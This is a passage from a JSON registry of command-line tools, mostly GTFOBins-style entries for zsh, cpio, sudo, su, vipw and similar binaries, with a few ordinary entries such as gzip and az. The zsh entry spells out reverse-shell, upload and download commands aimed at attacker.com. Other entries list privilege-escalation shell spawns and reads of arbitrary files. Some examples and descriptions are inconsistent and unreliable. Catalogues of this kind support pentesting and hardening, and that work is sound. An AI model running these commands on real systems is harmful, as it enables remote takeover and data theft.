    "_body": "\n# zsh\n\nzsh is a command-line utility. Z shell with powerful features; can also download files, read arbitrary files, write to arbitrary files, send a reverse shell, spawn an interactive shell, upload files Can also leverage capabilities from: less.\n",
    "_source": "zsh.md",
    "allowed-tools": [
      "zsh"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "system.file.read",
      "system.file.write",
      "security.execution.reverse-shell",
      "security.privilege-escalation.shell",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Z shell with advanced features; can execute commands, transfer data, read/write files, and spawn shells.",
    "examples": [
      {
        "description": "Download files (sudo, suid, unprivileged)",
        "command": "zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n \"$(<&$REPLY)\" >/path/to/output-file'"
      },
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "zsh -c 'echo \"$(</path/to/input-file)\"'"
      },
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "zsh -c '</path/to/input-file'"
      },
      {
        "description": "Write to arbitrary files (sudo, suid, unprivileged)",
        "command": "zsh -c 'echo DATA >/path/to/output-file'"
      },
      {
        "description": "Leverage less capabilities",
        "command": "zsh -c '</etc/hosts'"
      },
      {
        "description": "Send a reverse shell (sudo, suid, unprivileged)",
        "command": "zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "zsh"
      },
      {
        "description": "Upload files (sudo, suid, unprivileged)",
        "command": "zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n \"$(</path/to/input-file)\" >&$REPLY'"
      }
    ],
    "execution": {
      "template": "zsh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "shell-zsh-zsh",
    "install": [
      {
        "method": "apt",
        "package_name": "zsh",
        "commands": [
          "apt-get install -y zsh"
        ]
      }
    ],
    "name": "zsh",
    "namespace": "shell:zsh:zsh",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zsh/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration",
      "command-and-control",
      "execution",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "genisoimage.md",
    "allowed-tools": [
      "genisoimage",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ISO image creator, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via genisoimage",
        "command": "genisoimage -f /path/to/file"
      },
      {
        "description": "Execute command via genisoimage",
        "command": "genisoimage -f /path/to/file"
      }
    ],
    "execution": {
      "template": "genisoimage -f /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "storage-iso-genisoimage",
    "install": [
      {
        "method": "apt",
        "package_name": "genisoimage",
        "commands": [
          "apt-get install -y genisoimage"
        ]
      }
    ],
    "name": "genisoimage",
    "namespace": "storage:iso:genisoimage",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/genisoimage/"
      }
    ],
    "related_tools": [
      "xorriso",
      "mkisofs"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# update-alternatives\n\nupdate-alternatives is a command-line utility. Manage symbolic links for default commands; can also write to arbitrary files.\n",
    "_source": "update-alternatives.md",
    "allowed-tools": [
      "update-alternatives"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Manage symbolic links for default commands; can read arbitrary files.",
    "examples": [
      {
        "description": "Write to arbitrary files (sudo, suid)",
        "command": "echo DATA >/path/to/temp-file\nupdate-alternatives --force --install /path/to/output-file x /path/to/temp-file 0"
      }
    ],
    "execution": {
      "template": "update-alternatives",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-alternatives-update-alternatives",
    "install": [
      {
        "method": "apt",
        "package_name": "dpkg",
        "commands": [
          "apt-get install -y dpkg"
        ]
      }
    ],
    "name": "update-alternatives",
    "namespace": "system:alternatives:update-alternatives",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/update-alternatives/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "setarch.md",
    "allowed-tools": [
      "setarch",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Set architecture and personality flags, can execute commands.",
    "examples": [
      {
        "description": "Execute command via setarch",
        "command": "setarch x86_64 /path/to/command"
      }
    ],
    "execution": {
      "template": "setarch x86_64 /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-arch-setarch",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "setarch",
    "namespace": "system:arch:setarch",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/setarch/"
      }
    ],
    "related_tools": [
      "linux32",
      "linux64"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "cpio.md",
    "allowed-tools": [
      "cpio",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Copy files to and from archives, can read/write files and spawn shells via rsh-command.",
    "examples": [
      {
        "description": "Read a file via cpio",
        "command": "echo /path/to/input-file | cpio -o"
      },
      {
        "description": "Spawn a shell via cpio rsh-command",
        "command": "echo '/bin/sh </dev/tty >/dev/tty' >localhost\ncpio -o --rsh-command /bin/sh -F localhost:\n"
      }
    ],
    "execution": {
      "template": "cpio",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-archive-cpio",
    "install": [
      {
        "method": "apt",
        "package_name": "cpio",
        "commands": [
          "apt-get install -y cpio"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "cpio",
    "namespace": "system:archive:cpio",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cpio/"
      }
    ],
    "related_tools": [
      "tar"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "passwd.md",
    "allowed-tools": [
      "passwd",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Change user password, can execute commands via helper programs.",
    "examples": [
      {
        "description": "Execute command via passwd",
        "command": "passwd /path/to/config"
      }
    ],
    "execution": {
      "template": "passwd /path/to/config",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-auth-passwd",
    "install": [
      {
        "method": "apt",
        "package_name": "passwd",
        "commands": [
          "apt-get install -y passwd"
        ]
      }
    ],
    "name": "passwd",
    "namespace": "system:auth:passwd",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/passwd/"
      }
    ],
    "related_tools": [
      "chsh",
      "chfn"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# su\n\nsu is a command-line utility. Run a shell with substitute user and group IDs.\n",
    "_source": "su.md",
    "allowed-tools": [
      "su"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run commands with substitute user credentials; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo)",
        "command": "su -c /bin/sh"
      }
    ],
    "execution": {
      "template": "su",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-auth-su",
    "install": [
      {
        "method": "apt",
        "package_name": "shadow-utils",
        "commands": [
          "apt-get install -y shadow-utils"
        ]
      }
    ],
    "name": "su",
    "namespace": "system:auth:su",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/su/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sudo\n\nsudo is a command-line utility. Run programs with security privileges of another user, can spawn a shell.\n",
    "_source": "sudo.md",
    "allowed-tools": [
      "sudo"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Execute commands with superuser privileges; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo)",
        "command": "sudo /bin/sh"
      }
    ],
    "execution": {
      "template": "sudo",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-auth-sudo",
    "install": [
      {
        "method": "apt",
        "package_name": "sudo",
        "commands": [
          "apt-get install -y sudo"
        ]
      }
    ],
    "name": "sudo",
    "namespace": "system:auth:sudo",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sudo/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vigr\n\nvigr is a command-line utility. Edit group file with locking Can leverage capabilities from: vi.\n",
    "_source": "vigr.md",
    "allowed-tools": [
      "vigr"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Edit group file with safe locking; can spawn a shell.",
    "examples": [
      {
        "description": "Leverage vi capabilities",
        "command": "vigr"
      }
    ],
    "execution": {
      "template": "vigr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-auth-vigr",
    "install": [
      {
        "method": "apt",
        "package_name": "shadow-utils",
        "commands": [
          "apt-get install -y shadow-utils"
        ]
      }
    ],
    "name": "vigr",
    "namespace": "system:auth:vigr",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/vigr/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vipw\n\nvipw is a command-line utility. Edit password file with locking Can leverage capabilities from: vi.\n",
    "_source": "vipw.md",
    "allowed-tools": [
      "vipw"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Edit password file with safe locking; can spawn a shell.",
    "examples": [
      {
        "description": "Leverage vi capabilities",
        "command": "vipw"
      }
    ],
    "execution": {
      "template": "vipw",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-auth-vipw",
    "install": [
      {
        "method": "apt",
        "package_name": "shadow-utils",
        "commands": [
          "apt-get install -y shadow-utils"
        ]
      }
    ],
    "name": "vipw",
    "namespace": "system:auth:vipw",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/vipw/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "multitime.md",
    "allowed-tools": [
      "multitime",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command timing output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run commands multiple times for timing, can execute commands.",
    "examples": [
      {
        "description": "Execute command via multitime",
        "command": "multitime /path/to/command"
      }
    ],
    "execution": {
      "template": "multitime /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-benchmark-multitime",
    "install": [
      {
        "method": "apt",
        "package_name": "multitime",
        "commands": [
          "apt-get install -y multitime"
        ]
      }
    ],
    "name": "multitime",
    "namespace": "system:benchmark:multitime",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/multitime/"
      }
    ],
    "related_tools": [
      "time"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "perf.md",
    "allowed-tools": [
      "perf",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Performance analysis tool, can execute commands via probe events.",
    "examples": [
      {
        "description": "Execute command via perf",
        "command": "perf stat /path/to/command"
      }
    ],
    "execution": {
      "template": "perf stat /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-benchmark-perf",
    "install": [
      {
        "method": "apt",
        "package_name": "linux-tools-common",
        "commands": [
          "apt-get install -y linux-tools-common"
        ]
      }
    ],
    "name": "perf",
    "namespace": "system:benchmark:perf",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/perf/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "az.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Azure CLI - manages Azure resources from the command line.",
    "examples": [
      {
        "description": "Display help for az",
        "command": "az --help"
      }
    ],
    "execution": {
      "template": "az --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-az",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "curl -sL https://aka.ms/InstallAzureCLIDeb | bash"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "az",
    "namespace": "system:cloud:azure",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "az Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/az"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# Gzip — File Compression\n\nGzip (GNU zip) is a widely used compression utility based on the DEFLATE algorithm. It provides a good balance of compression ratio and speed, making it the standard for text compression on Unix systems.\n\n## Compression Levels\n\n| Level | Flag | Speed | Size Reduction | Use Case |\n|-------|------|-------|---------------|----------|\n| 1 | `--fast` | Fastest | Lowest | Quick compression, already-compressed data |\n| 6 | (default) | Good | Good | General purpose |\n| 9 | `--best` | Slowest | Highest | Archival, distribution |\n\n## Pipeline Usage\n\n```bash\n# Compress a tar archive\ntar cf - directory/ | gzip -c > archive.tar.gz\n\n# Decompress and extract\ngunzip -c archive.tar.gz | tar xf -\n\n# Search compressed files without decompressing to disk\nzcat access.log.gz | grep 'ERROR'\n\n# Count lines in compressed file\nzcat data.txt.gz | wc -l\n\n# Stream compression over pipe\nmysqldump database | gzip -c > backup.sql.gz\n```\n\n## Compression Ratios\n\n| File Type | Typical Ratio | Notes |\n|-----------|---------------|-------|\n| Text/Code | 60-80% | Highly compressible |\n| Logs | 70-90% | Very high compression |\n| JSON/XML | 70-85% | Repeated patterns compress well |\n| Images (PNG) | 0-5% | Already compressed |\n| Archives | 0-10% | Usually already compressed |\n\n## Related Tools\n\n- **[bzip2](../../compress/bzip2.md)** — Better compression ratio, slower\n- **[xz](../../compress/xz.md)** — Best compression ratio, very slow\n- **[zstd](../../compress/zstd.md)** — Modern, fast, good ratio\n- **[tar](../../archive/tar.md)** — Often used together with gzip\n",
    "_source": "gzip.md",
    "allowed-tools": [
      "gzip",
      "gunzip",
      "zcat",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "filesystem.archive.gzip",
        "description": "Gzip-compressed file",
        "mime": "application/gzip",
        "schema_version": "1.0.0",
        "trust_level": "verified"
      },
      {
        "type": "filesystem.file.raw",
        "description": "Decompressed file content",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "filesystem.compress.gzip",
      "filesystem.decompress.gzip",
      "filesystem.compress.stream",
      "filesystem.archive.compress"
    ],
    "contract": {
      "inputs": [
        {
          "type": "filesystem.file.raw",
          "description": "File to compress"
        },
        {
          "type": "filesystem.archive.gzip",
          "description": "Gzip archive to decompress"
        }
      ],
      "outputs": [
        {
          "type": "filesystem.archive.gzip",
          "description": "Compressed gzip archive",
          "mime": "application/gzip"
        },
        {
          "type": "filesystem.file.raw",
          "description": "Decompressed file content"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "File compression utility using the DEFLATE algorithm for reducing file sizes with optional decompression and stream processing.",
    "examples": [
      {
        "description": "Compress a file",
        "command": "gzip file.txt"
      },
      {
        "description": "Decompress a .gz file",
        "command": "gunzip file.txt.gz"
      },
      {
        "description": "Compress with maximum compression",
        "command": "gzip -9 largefile.tar"
      },
      {
        "description": "Keep original file when compressing",
        "command": "gzip -k file.txt"
      },
      {
        "description": "Stream compression in a pipeline",
        "command": "cat largefile | gzip -c > output.gz"
      },
      {
        "description": "View compressed file contents",
        "command": "zcat file.txt.gz"
      }
    ],
    "execution": {
      "template": "gzip {stdout} {decompress} {force} {help} {keep}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdin",
      "process-manip",
      "streaming"
    ],
    "id": "system-compress-gzip",
    "install": [
      {
        "method": "apt",
        "package_name": "gzip",
        "commands": [
          "apt-get install -y gzip"
        ]
      }
    ],
    "name": "gzip",
    "namespace": "system:compress:gzip",
    "parameters": [
      {
        "name": "best",
        "template_key": "best",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "compress better",
        "aliases": [
          "-9",
          "--best"
        ],
        "flag": "-9"
      },
      {
        "name": "decompress",
        "template_key": "decompress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-d",
          "--decompress"
        ],
        "flag": "-d"
      },
      {
        "name": "fast",
        "template_key": "fast",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "compress faster",
        "aliases": [
          "-1",
          "--fast"
        ],
        "flag": "-1"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "force overwrite of output file and compress links",
        "aliases": [
          "-f",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "give this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "keep",
        "template_key": "keep",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "keep (don't delete) input files",
        "aliases": [
          "-k",
          "--keep"
        ],
        "flag": "-k"
      },
      {
        "name": "license",
        "template_key": "license",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display software license",
        "aliases": [
          "-L",
          "--license"
        ],
        "flag": "-L"
      },
      {
        "name": "list",
        "template_key": "list",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list compressed file contents",
        "aliases": [
          "-l",
          "--list"
        ],
        "flag": "-l"
      },
      {
        "name": "name",
        "template_key": "name",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "save or restore the original name and timestamp",
        "aliases": [
          "-N",
          "--name"
        ],
        "flag": "-N"
      },
      {
        "name": "no-name",
        "template_key": "no-name",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not save or restore the original name and timestamp",
        "aliases": [
          "-n",
          "--no-name"
        ],
        "flag": "-n"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress all warnings",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "operate recursively on directories",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "rsyncable",
        "template_key": "rsyncable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make rsync-friendly archive",
        "aliases": [
          "--rsyncable"
        ],
        "flag": "--rsyncable"
      },
      {
        "name": "stdout",
        "template_key": "stdout",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "write on standard output, keep original files unchanged",
        "aliases": [
          "-c",
          "--stdout"
        ],
